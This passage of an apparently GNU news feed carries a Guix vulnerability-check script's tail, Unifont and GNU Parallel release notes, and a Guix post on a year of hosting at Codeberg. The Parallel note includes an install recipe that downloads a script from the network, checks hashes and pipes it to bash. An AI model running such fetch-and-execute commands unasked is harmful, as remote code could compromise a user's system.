                    (frames (stack-length stack))
                    (frame (stack-ref stack 0)))
               (define error-string
                 (match args
                   (((or (? string? proc) (? symbol? proc))
                     (? string? message) (args ...) . rest)
                    (call-with-output-string
                      (lambda (port)
                        (display-error frame port proc message args
                                       rest))))
                   (args
                    (call-with-output-string
                      (lambda (port)
                        (print-exception port frame key args))))))

               (display-backtrace stack (current-error-port))
               (display error-string (current-error-port))
               (abort-to-prompt tag (string-append &quot;error: &quot;
                                                   (string-trim-both
                                                    error-string)))))))
    (lambda (_ . args)
      (apply values args))))

(define results
  (map (match-lambda
         ((name proc)
          (list name (if (string? proc)
                         proc ;; pass message through
                         (call-with-errors-to-string proc)))))
       vulnerabilities))

(for-each (match-lambda
            ((name vulnerable?)
             (format #t &quot;~a: ~a~%&quot;
                     name
                     (if (boolean? vulnerable?)
                         (if vulnerable? &quot;vulnerable&quot; &quot;not vulnerable&quot;)
                         vulnerable?))))
          results)

(exit (if (any second results) 1 0))&lt;/code&gt;&lt;/pre&gt;</content>
	<author>
	  <name>Caleb Ristvedt</name>
	   <uri>https://guix.gnu.org/blog/</uri> 
	</author>
	<source>
	  <title type="html">GNU Guix — Blog</title>
	  
	  <link rel="self" href="https://guix.gnu.org/feeds/blog.atom"/>
	  <id>https://guix.gnu.org/feeds/blog.atom</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Unifont 17.0.05 Released</title>
	<link href="https://savannah.gnu.org/news/?id=10909"/>
	<id>https://savannah.gnu.org/news/?id=10909</id>
	<updated>2026-06-28T23:20:59+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;&lt;b&gt;28 June 2026&lt;/b&gt; Unifont 17.0.05 is now available.  This is a minor release aligned with Unicode 17.0.0.
&lt;br /&gt;

&lt;br /&gt;
This release notably includes separate BDF, PCF, and OpenType font files with Unicode T-source Chinese glyphs created by Kusanagi_Sans and Kao Chen-tung (高振東) in font files beginning with &quot;unifont_t&quot;.  Many other Chinese glyphs have been added.  See the ChangeLog file for details.
&lt;br /&gt;

&lt;br /&gt;
Download this release from GNU server mirrors at:
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href=&quot;https://ftpmirror.gnu.org/unifont/unifont-17.0.05/&quot;&gt;https://ftpmirror ... /unifont-17.0.05/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or if that fails,
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href=&quot;https://ftp.gnu.org/gnu/unifont/unifont-17.0.05/&quot;&gt;https://ftp.gnu.o ... /unifont-17.0.05/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or, as a last resort,
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href=&quot;ftp://ftp.gnu.org/gnu/unifont/unifont-17.0.05/&quot;&gt;ftp://ftp.gnu.org ... /unifont-17.0.05/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
These files are also available on the unifoundry.com website:
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href=&quot;https://unifoundry.com/pub/unifont/unifont-17.0.05/&quot;&gt;https://unifoundr ... /unifont-17.0.05/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Font files are in the subdirectory
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href=&quot;https://unifoundry.com/pub/unifont/unifont-17.0.05/font-builds/&quot;&gt;https://unifoundr ... 0.05/font-builds/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
A more detailed description of font changes is available at
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href=&quot;https://unifoundry.com/unifont/index.html&quot;&gt;https://unifoundr ... nifont/index.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
and of utility program changes at
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href=&quot;https://unifoundry.com/unifont/unifont-utilities.html&quot;&gt;https://unifoundr ... nt-utilities.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Information about Hangul modifications is at
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href=&quot;https://unifoundry.com/hangul/index.html&quot;&gt;https://unifoundr ... hangul/index.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
and
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href=&quot;http://unifoundry.com/hangul/hangul-generation.html&quot;&gt;http://unifoundry ... l-generation.html&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Paul Hardy</name>
	   <uri>https://savannah.gnu.org/projects/unifont</uri> 
	</author>
	<source>
	  <title type="html">Unifont - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dunifont"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=unifont</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU Parallel 20260622 (&#39;Rape Gang Inquiry&#39;) released [stable]</title>
	<link href="https://savannah.gnu.org/news/?id=10908"/>
	<id>https://savannah.gnu.org/news/?id=10908</id>
	<updated>2026-06-27T10:24:15+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;GNU Parallel 20260622 (&#39;Rape Gang Inquiry&#39;) has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;

&lt;br /&gt;
  GNU Parallel is much nicer than xargs and more powerful ... definitely recommended!
&lt;br /&gt;
    -- boomertsfx@reddit
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;testsuite reorganized.
&lt;/li&gt;
&lt;li&gt;Bug fixes and man page updates.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name &#39;*.jpg&#39; |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href=&quot;http://www.gnu.org/s/parallel/&quot;&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href=&quot;http://pi.dk/3&quot;&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href=&quot;http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1&quot;&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href=&quot;https://doi.org/10.5281/zenodo.1146014&quot;&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href=&quot;https://gnuparallel.threadless.com/designs/gnu-parallel&quot;&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Have your company) donate to FSF &lt;a href=&quot;https://my.fsf.org/donate/&quot;&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases&#39; command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database&#39;s interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Ole Tange</name>
	   <uri>https://savannah.gnu.org/projects/parallel</uri> 
	</author>
	<source>
	  <title type="html">GNU Parallel - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dparallel"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=parallel</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">One year with Codeberg</title>
	<link href="https://guix.gnu.org/blog/2026/one-year-with-codeberg//"/>
	<id>https://guix.gnu.org/blog/2026/one-year-with-codeberg//</id>
	<updated>2026-06-22T14:00:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;A year ago, Guix &lt;a href=&quot;https://guix.gnu.org/blog/2025/migrating-to-codeberg/&quot;&gt;migrated to
Codeberg&lt;/a&gt; for
source code hosting, issue tracking, and pull requests.  This is a
significant change for a project with more than 400 people contributing
code each year, after more than decade hosting code at
&lt;a href=&quot;https://savannah.gnu.org/projects/guix&quot;&gt;Savannah&lt;/a&gt; and dealing with bug
reports and patches by email, tracked by &lt;a href=&quot;https://issues.guix.gnu.org&quot;&gt;a Debbugs
instance&lt;/a&gt;.  This article discusses the
process that led to this change and lists some takeaways, a year later.&lt;/p&gt;&lt;h1&gt;The non-obvious choice&lt;/h1&gt;&lt;p&gt;For years before, the question of our choice of source code hosting and
collaboration tools would regularly come up.  However, with a community
effectively built around the existing tools and workflows, a change to a
pull-request workflow was far from obvious—even if many would admit that
yes, pull requests are more familiar to many younger hackers than
patches and bug reports by email.&lt;/p&gt;&lt;p&gt;Active contributors were efficient with the email workflow—often thanks
to &lt;a href=&quot;https://elpa.gnu.org/packages/debbugs.html&quot;&gt;Emacs&lt;/a&gt; and/or to
top-notch email clients—while at the same time being critical of
“modern” Web-based forges: after all, Debbugs weighs in at a few hundred
lines of Perl, building upon the battle-tested standards and built-in
federation of email, whereas a forge like &lt;a href=&quot;https://forgejo.org&quot;&gt;Forgejo&lt;/a&gt;
is much bigger with hundreds of Go dependencies.&lt;/p&gt;&lt;p&gt;A further complication is that, over time, contributors had built tools
around this workflow: &lt;a href=&quot;https://codeberg.org/guix/mumi&quot;&gt;mumi&lt;/a&gt; would
provide a &lt;a href=&quot;https://issues.guix.gnu.org&quot;&gt;nice web interface to Debbugs&lt;/a&gt;
and the &lt;a href=&quot;https://qa.guix.gnu.org&quot;&gt;Quality Assurance service&lt;/a&gt; would
automatically apply patch series in a Git branch and build packages from
that branch—to give the most visible examples.  Migrating was all but
obvious.&lt;/p&gt;&lt;p&gt;Despite these achievements, dissatisfaction was palpable though, even
more so when Steve George (a.k.a. Futurile) published the &lt;a href=&quot;https://guix.gnu.org/en/blog/2025/guix-user-and-contributor-survey-2024-the-results-part-1/&quot;&gt;results of
the first user and contributor
survey&lt;/a&gt;
in January 2025, with feedback from no less than 900 people.  For
contributors who took part in the survey, the email workflow was &lt;a href=&quot;https://guix.gnu.org/en/blog/2025/guix-user-and-contributor-survey-2024-the-results-part-3/&quot;&gt;often
mentioned as a
hindrance&lt;/a&gt;.&lt;/p&gt;&lt;h1&gt;Making decisions&lt;/h1&gt;&lt;p&gt;As if things were not difficult enough, there was no “benevolent
dictator” that the project could rely on to make a sharp decision.
Instead, in December 2024, the project adopted a process for collective
decision-making: the &lt;a href=&quot;https://consensus.guix.gnu.org/gcd/001-gcd-process.html&quot;&gt;Guix Consensus Document (GCD)
process&lt;/a&gt;.  The
process is ambitious: instead of merely asking “project members” (a
concept that needs to be properly defined!) to vote on proposals,
authors of proposals are expected to work with everyone to &lt;em&gt;build
consensus&lt;/em&gt; on the proposal; participants cannot merely “oppose” a
proposal but should instead express their needs and suggest concrete
changes to address them.  At the end of the process, participants can
“support”, “accept”, or “disapprove” the final revision of the proposal.&lt;/p&gt;&lt;p&gt;It is too early to tell whether the GCD process will stand the test of
time—as of this writing seven proposals were submitted through this
process, &lt;a href=&quot;https://consensus.guix.gnu.org&quot;&gt;with varying outcomes&lt;/a&gt;—but it
surely proved to be a good way to work collectively on the forge
migration issue, which was the first real-world use of the GCD process.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://consensus.guix.gnu.org/gcd/002-codeberg.html&quot;&gt;GCD 002&lt;/a&gt; was
submitted in February 2025 as a proposal to migrate to Codeberg for
source code hosting and collaboration.  The
&lt;a href=&quot;https://issues.guix.gnu.org/76503&quot;&gt;discussion&lt;/a&gt; lasted for two
months—the maximum duration permitted by the process—with contributions
by many people.  Two thirds of the Guix team members participated in the
deliberation, among which 72% expressed “support” while the remaining
28% merely “accepted” the proposal; nobody “disapproved” it so the
proposal came into force in early May 2025.&lt;/p&gt;&lt;p&gt;The discussion showed that many long-time contributors were not
comfortable with the idea of moving to a workflow largely perceived as
Web-first and inefficient compared to the email workflow.  The idea of
abandoning part of the infrastructure carefully built around the email
workflow over the years was also unappealing.  Yet, the prospect of
reaching out to a broader community and improving the developer
experience for many was probably a driving force that led to this
positive outcome.&lt;/p&gt;&lt;p&gt;One thing in the proposal that didn’t trigger much debate though is the
preference both for a free-software-based forge and for one hosted by a
non-profit, &lt;a href=&quot;https://codeberg.org/about&quot;&gt;Codeberg e.V.&lt;/a&gt;  This choice is
very much in line with the Guix ethos.&lt;/p&gt;&lt;h1&gt;Switchover&lt;/h1&gt;&lt;p&gt;As agreed-upon in the GCD, the switch to Codeberg was incremental: the
main repository was &lt;a href=&quot;https://guix.gnu.org/blog/2025/migrating-to-codeberg/&quot;&gt;migrated on May 25th,
2025&lt;/a&gt;, with the
former repository still available as a mirror today; the former issue
and patch tracker was kept active until January 1st, 2026, when Codeberg
issues and pull requests became the only supported mechanisms (but older
bug reports and patches remain &lt;a href=&quot;https://issues.guix.gnu.org&quot;&gt;accessible
on-line&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;Thanks to the planning devised during the consensus-building discussion,
there were few hiccups and surprises when we switched.  The quality of
service achieved by the Codeberg e.V. employees and volunteers has been
very good and the occasional downtime was usually short and clearly
communicated.&lt;/p&gt;&lt;p&gt;For some of us, the main difficulty was to adapt to the new workflow.
For those who prefer a workflow out of the browser, the good news is
that Emacs interfaces—&lt;a href=&quot;https://codeberg.org/martianh/fj.el/&quot;&gt;&lt;code&gt;fj.el&lt;/code&gt;&lt;/a&gt;
and more recently
&lt;a href=&quot;https://codeberg.org/thanosapollo/emacs-forgejo&quot;&gt;Emacs-Forgejo&lt;/a&gt;—have
been getting better everyday thanks to their amazing developers; the
ability to create pull requests using &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Submitting-Patches.html&quot;&gt;the AGit
workflow&lt;/a&gt;
has also helped bring peace and harmony.&lt;/p&gt;&lt;p&gt;The one issue that wasn’t sufficiently anticipated is continuous
integration for pull requests.  The part of
&lt;a href=&quot;https://qa.guix.gnu.org&quot;&gt;qa.guix.gnu.org&lt;/a&gt; that would previously build
packages for patches sent by email was not ported to Codeberg.  For
several months, it was up to reviewers to make sure that pull requests
would not break anything—a situation that was not sustainable.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;Screenshot of a “review” by @guix-cuirass-bot that specifies successful and failed package builds.&quot; src=&quot;https://guix.gnu.org/static/blog/img/codeberg-bot-review.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;In September 2025, an instance of
&lt;a href=&quot;https://guix.gnu.org/en/cuirass&quot;&gt;Cuirass&lt;/a&gt; was set up at
&lt;a href=&quot;https://pulls.ci.guix.gnu.org/pull-requests&quot;&gt;pulls.ci.guix.gnu.org&lt;/a&gt; to
finally build pull requests.  This was initially &lt;a href=&quot;https://codeberg.org/guix/maintenance/pulls/28&quot;&gt;seen as a
stopgap&lt;/a&gt; because of
several limitations compared to what qa.guix.gnu.org would previously
do—such as the fact that packages now get built for a single
architecture.  However, one advantage for newcomers is that feedback is
immediately visible: Cuirass sends reports indicating success or failure
directly in pull requests as
&lt;a href=&quot;https://codeberg.org/guix-cuirass-bot&quot;&gt;&lt;code&gt;guix-cuirass-bot&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h1&gt;Renewed collaboration&lt;/h1&gt;&lt;p&gt;One of the intuitions and hope we had when we decided to migrate to
Codeberg is that the pull-request workflow and its Web interface would
allow us to reach out to a broader set of contributors.  How did it go?&lt;/p&gt;&lt;p&gt;A first insight is that the commit rate—measured as the number of
commits pushed on the main branch—is a noisy metric that doesn’t reveal
much.  What we see by looking at the period from May 2024 to May 2026
(so one year before and one year after the migration) essentially shows
that the commit rate remained essentially between “high” and “very
high”:&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;Graph showing the monthly commit rate between May 2024 and May 2026.&quot; src=&quot;https://guix.gnu.org/static/blog/img/codeberg-commits.svg&quot; /&gt;&lt;/p&gt;&lt;p&gt;(As an aside, where are the tools to plot statistics like this from a
Git repository? I found myself &lt;a href=&quot;https://codeberg.org/civodul/git-plot&quot;&gt;hacking something
together&lt;/a&gt;.)&lt;/p&gt;&lt;p&gt;Looking at contributions is more insightful.  The plot below shows the
number of monthly commit authors, the number of monthly committers, and
the number of new commit authors each month (people who authored a
commit for the first time in the Git history) for that same period.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;Graph showing monthly contributions to Guix.&quot; src=&quot;https://guix.gnu.org/static/blog/img/codeberg-contributions.svg&quot; /&gt;&lt;/p&gt;&lt;p&gt;The number of monthly authors, including new authors, keeps growing.
There was a peak both in the number of authors and number of newcomers
in June 2025, right after the migration to Codeberg, but for the rest
growth appears to be comparable in the 2025–2026 half and in the
2024–2025 half.  Guix keeps attracting new contributors but there wasn’t
a significant “Codeberg effect”.&lt;/p&gt;&lt;p&gt;The slight increase in number of monthly committers compared to the
sharper increase in number of authors might suggest that committers are
more “productive”, handling more contributions.&lt;/p&gt;&lt;p&gt;Since the user survey highlighted some contributors were frustrated by
the delay or the lack of response on contributed patches—a problem that
many free software projects struggle with—a question is how well Guix
deals with that today.  The graph below shows the creation and closing
rate of pull requests per month over the past year, together with the
monthly backlog (pull requests opened the month before or earlier and
still opened).  This data was acquired using the &lt;a href=&quot;https://codeberg.org/api/swagger#/repository/repoListPullRequests&quot;&gt;amazing Forgejo
interface&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;Graph showing pull request rate from May 2025 to May 2026.&quot; src=&quot;https://guix.gnu.org/static/blog/img/codeberg-pull-request-rate.svg&quot; /&gt;&lt;/p&gt;&lt;p&gt;This again shows an impressive rate of incoming code—more than 500 pull
requests opened each month!—and an equally impressive, but slightly
lower, merge rate, leading to a constantly-increasing backlog.  A
similar backlog &lt;a href=&quot;https://debbugs.gnu.org/rrd/guix-patches.html&quot;&gt;was observed on
Debbugs&lt;/a&gt; before.  Today,
there are about 639 opened pull requests out of 6,459 ever opened, or
10%; for comparison, Nixpkgs has &lt;a href=&quot;https://github.com/NixOS/nixpkgs/pulls&quot;&gt;12k opened pull requests out of 473k
ever opened&lt;/a&gt;, or 2.5%.  This
concerning backlog in Guix can perhaps be attributed to excessive
friction and/or insufficient continuous integration feedback.&lt;/p&gt;&lt;p&gt;One source of friction is the requirement for each commit to be &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Channel-Authentication.html&quot;&gt;signed
by an authorized
committer&lt;/a&gt;.
Unlike many other projects, including Nixpkgs, this requirement means
that a person needs to take responsibility and to apply and sign changes
they merge, as opposed to just clicking the “Merge” button.  In a way,
we’re trading developer convenience for &lt;a href=&quot;https://guix.gnu.org/en/blog/2020/securing-updates/&quot;&gt;user
security&lt;/a&gt;.  It’s a
tradeoff we’re willing to make because we care about securing the
“software supply chain”, but we have yet to see if this cost can be
mitigated in some way.&lt;/p&gt;&lt;p&gt;On the bright side, and although this is harder to measure, one positive
impact of the move to Codeberg is that activity within the project is
more &lt;em&gt;legible&lt;/em&gt;.  I already mentioned continuous integration that
provides feedback directly in pull requests, such that contributors
immediately discover it, but there’s more.&lt;/p&gt;&lt;p&gt;Guix &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Teams.html&quot;&gt;teams&lt;/a&gt;
are reified as Codeberg teams and their scope is given the &lt;a href=&quot;https://codeberg.org/guix/guix/src/branch/master/CODEOWNERS&quot;&gt;&lt;code&gt;CODEOWNERS&lt;/code&gt;
file&lt;/a&gt; such
that the right people are pinged.  A bot also adds a corresponding
label—e.g., the &lt;code&gt;team-python&lt;/code&gt; label for what’s in the scope of the
Python team—allowing for issue and pull request filtering by label.
However, &lt;a href=&quot;https://codeberg.org/forgejo/forgejo/issues/11703&quot;&gt;teams are not notified of issues tagged with the corresponding
label&lt;/a&gt;, which is
irritating.&lt;/p&gt;&lt;p&gt;Other features such as cross-references among issues/pull requests as
well as &lt;a href=&quot;https://codeberg.org/guix/guix/milestones&quot;&gt;milestones&lt;/a&gt; also
appear to facilitate collaboration.&lt;/p&gt;&lt;h1&gt;Outlook&lt;/h1&gt;&lt;p&gt;This is nice and all but there’s still room for improvement.&lt;/p&gt;&lt;p&gt;Our infrastructure could use some help.  Build power for
pulls.ci.guix.gnu.org should be increased, ideally with also more
diversity—building for non-x86 architectures would be great!  Cuirass
itself has a number of shortcomings; some are being addressed &lt;a href=&quot;https://codeberg.org/guix/cuirass/milestone/27316&quot;&gt;for the
upcoming 1.4.x
series&lt;/a&gt; but there’s
more work to be done.  And also, pulls.ci.guix.gnu.org remains very much
package-oriented; it would be nice, when appropriate, to run &lt;a href=&quot;https://guix.gnu.org/blog/2016/guixsd-system-tests/&quot;&gt;system
tests&lt;/a&gt; as well.&lt;/p&gt;&lt;p&gt;The packager workflow still leaves a bit to be desired, in particular
with regards to &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Managing-Patches-and-Branches.html&quot;&gt;topic branches and world rebuild
scheduling&lt;/a&gt;,
which is still mostly tied to… our otherwise retired bug tracker.&lt;/p&gt;&lt;p&gt;We also want to remain good citizens, &lt;a href=&quot;https://codeberg.org/Codeberg-Infrastructure/scripted-configuration/issues/96&quot;&gt;not causing excessive load on
Codeberg
servers&lt;/a&gt;
(oops!) and keeping an eye on storage use: a single “fork” of Guix could
exceed &lt;a href=&quot;https://codeberg.org/Codeberg/changelog/issues/2#issuecomment-13512086&quot;&gt;Codeberg’s new per-user quota of
750 MiB&lt;/a&gt;.
The solution would be to &lt;a href=&quot;https://lists.gnu.org/archive/html/guix-devel/2026-06/msg00007.html&quot;&gt;require new contributors to use the AGit
workflow&lt;/a&gt;
to create pull requests.  AGit is already popular among Guix
contributors; however, the idea of &lt;em&gt;requiring&lt;/em&gt; it is seen as a
“downgrade” by some because it lacks the familiarity of the “regular”
pull request workflow.  One way to mitigate that might be to make it
more discoverable with an “AGit fork” icon &lt;a href=&quot;https://codeberg.org/gentoo/gentoo&quot;&gt;as was done for
Gentoo&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Part of being a good citizen, for Guix and for Codeberg e.V., is
listening to and accounting for one another’s concern, and this has
worked beautifully so far.  &lt;a href=&quot;https://foundation.guix.info&quot;&gt;Guix
Foundation&lt;/a&gt; recently
&lt;a href=&quot;https://codeberg.org/guix-foundation/website/pulls/16&quot;&gt;voted&lt;/a&gt; to become
a supporting (non-voting) member of Codeberg e.V. as a way to express
gratitude and support.&lt;/p&gt;&lt;p&gt;Oh, &lt;em&gt;breaking news&lt;/em&gt;: &lt;a href=&quot;https://codeberg.org/guix/guix/pulls/9006&quot;&gt;a pull request adding Forgejo and a service to set
it up on Guix has just been
submitted&lt;/a&gt;!  Purely
declarative configuration, fully reproducible deployment of a forge—can
you imagine⁈ Symbiosis at play.&lt;/p&gt;&lt;h1&gt;Acknowledgments&lt;/h1&gt;&lt;p&gt;Many thanks to Steve “Futurile” George, Noé Lopez, and Maxim Cournoyer
for reviewing an earlier draft of this post.&lt;/p&gt;</content>
	<author>
	  <name>Ludovic Courtès</name>
	   <uri>https://guix.gnu.org/blog/</uri> 
	</author>
	<source>
	  <title type="html">GNU Guix — Blog</title>
	  
	  <link rel="self" href="https://guix.gnu.org/feeds/blog.atom"/>
	  <id>https://guix.gnu.org/feeds/blog.atom</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Statement regarding GNU Savannah security reports</title>
	<link href="http://www.fsf.org/news/statement-regarding-gnu-savannah-security-reports"/>
	<id>http://www.fsf.org/news/statement-regarding-gnu-savannah-security-reports</id>
	<updated>2026-06-19T21:13:07+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en"></content>
	<author>
	  <name>FSF News</name>
	   <uri>http://www.fsf.org/news/aggregator</uri> 
	</author>
	<source>
	  <title type="html">FSF News</title>
	  
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/news.xml"/>
	  <id>http://www.fsf.org/news/aggregator</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en-US">longintrepr.h</title>
	<link href="https://gbenson.net/longintrepr-h/"/>
	<id>https://gbenson.net/?p=1065</id>
	<updated>2026-06-18T11:38:44+00:00</updated>
	<summary type="html" xml:lang="en-US"></summary>
